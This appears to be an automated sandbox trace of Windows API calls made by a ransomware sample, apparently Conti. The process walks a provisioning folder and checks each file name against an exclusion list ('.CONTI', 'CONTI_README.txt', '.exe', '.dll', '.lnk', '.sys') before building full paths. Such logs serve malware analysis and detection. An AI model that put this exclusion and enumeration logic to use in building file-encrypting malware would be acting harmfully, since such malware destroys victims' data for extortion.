	[0107.471] lstrcpyW (in: lpString1=0x17bd350, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.471] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.471] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml"
	[0107.471] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", cAlternateFileName="144__C~1.PRO")) returned 1
	[0107.471] lstrcmpiW (lpString1="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.471] lstrcmpiW (lpString1="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.471] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.471] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.471] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.471] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.471] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.472] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.472] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.472] StrStrIW (lpFirst="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.472] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.472] lstrlenW (lpString="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml") returned 65
	[0107.472] GetProcessHeap () returned 0x1720000
	[0107.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bd490
	[0107.472] lstrcpyW (in: lpString1=0x17bd490, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml"
	[0107.472] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", cAlternateFileName="145__C~1.PRO")) returned 1
	[0107.472] lstrcmpiW (lpString1="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.472] lstrcmpiW (lpString1="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.472] StrStrIW (lpFirst="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.472] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.472] lstrlenW (lpString="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml") returned 65
	[0107.472] GetProcessHeap () returned 0x1720000
	[0107.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bd5d0
	[0107.472] lstrcpyW (in: lpString1=0x17bd5d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml"
	[0107.472] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="146__C~1.PRO")) returned 1
	[0107.474] lstrcmpiW (lpString1="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.474] lstrcmpiW (lpString1="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.474] StrStrIW (lpFirst="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.474] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.474] lstrlenW (lpString="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned 62
	[0107.474] GetProcessHeap () returned 0x1720000
	[0107.474] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17c3a00
	[0107.475] lstrcpyW (in: lpString1=0x17c3a00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml"
	[0107.475] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="147__C~1.PRO")) returned 1
	[0107.475] lstrcmpiW (lpString1="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.475] lstrcmpiW (lpString1="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.475] StrStrIW (lpFirst="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.475] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.475] lstrlenW (lpString="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned 62
	[0107.475] GetProcessHeap () returned 0x1720000
	[0107.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17c3b40
	[0107.475] lstrcpyW (in: lpString1=0x17c3b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml"
	[0107.475] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="148__C~1.PRO")) returned 1
	[0107.475] lstrcmpiW (lpString1="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.475] lstrcmpiW (lpString1="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.475] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.475] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.475] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.475] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.475] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.476] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.476] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.476] StrStrIW (lpFirst="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.476] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.476] lstrlenW (lpString="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned 62
	[0107.476] GetProcessHeap () returned 0x1720000
	[0107.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17c3c80
	[0107.476] lstrcpyW (in: lpString1=0x17c3c80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.476] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.476] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml"
	[0107.476] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="149__C~1.PRO")) returned 1
	[0107.476] lstrcmpiW (lpString1="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.476] lstrcmpiW (lpString1="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.476] StrStrIW (lpFirst="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.476] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.476] lstrlenW (lpString="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned 62
	[0107.476] GetProcessHeap () returned 0x1720000
	[0107.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17ca0b0
	[0107.476] lstrcpyW (in: lpString1=0x17ca0b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.476] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.476] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml"
	[0107.476] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", cAlternateFileName="14__CO~1.PRO")) returned 1
	[0107.476] lstrcmpiW (lpString1="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.477] lstrcmpiW (lpString1="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.477] StrStrIW (lpFirst="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.477] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.477] lstrlenW (lpString="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml") returned 66
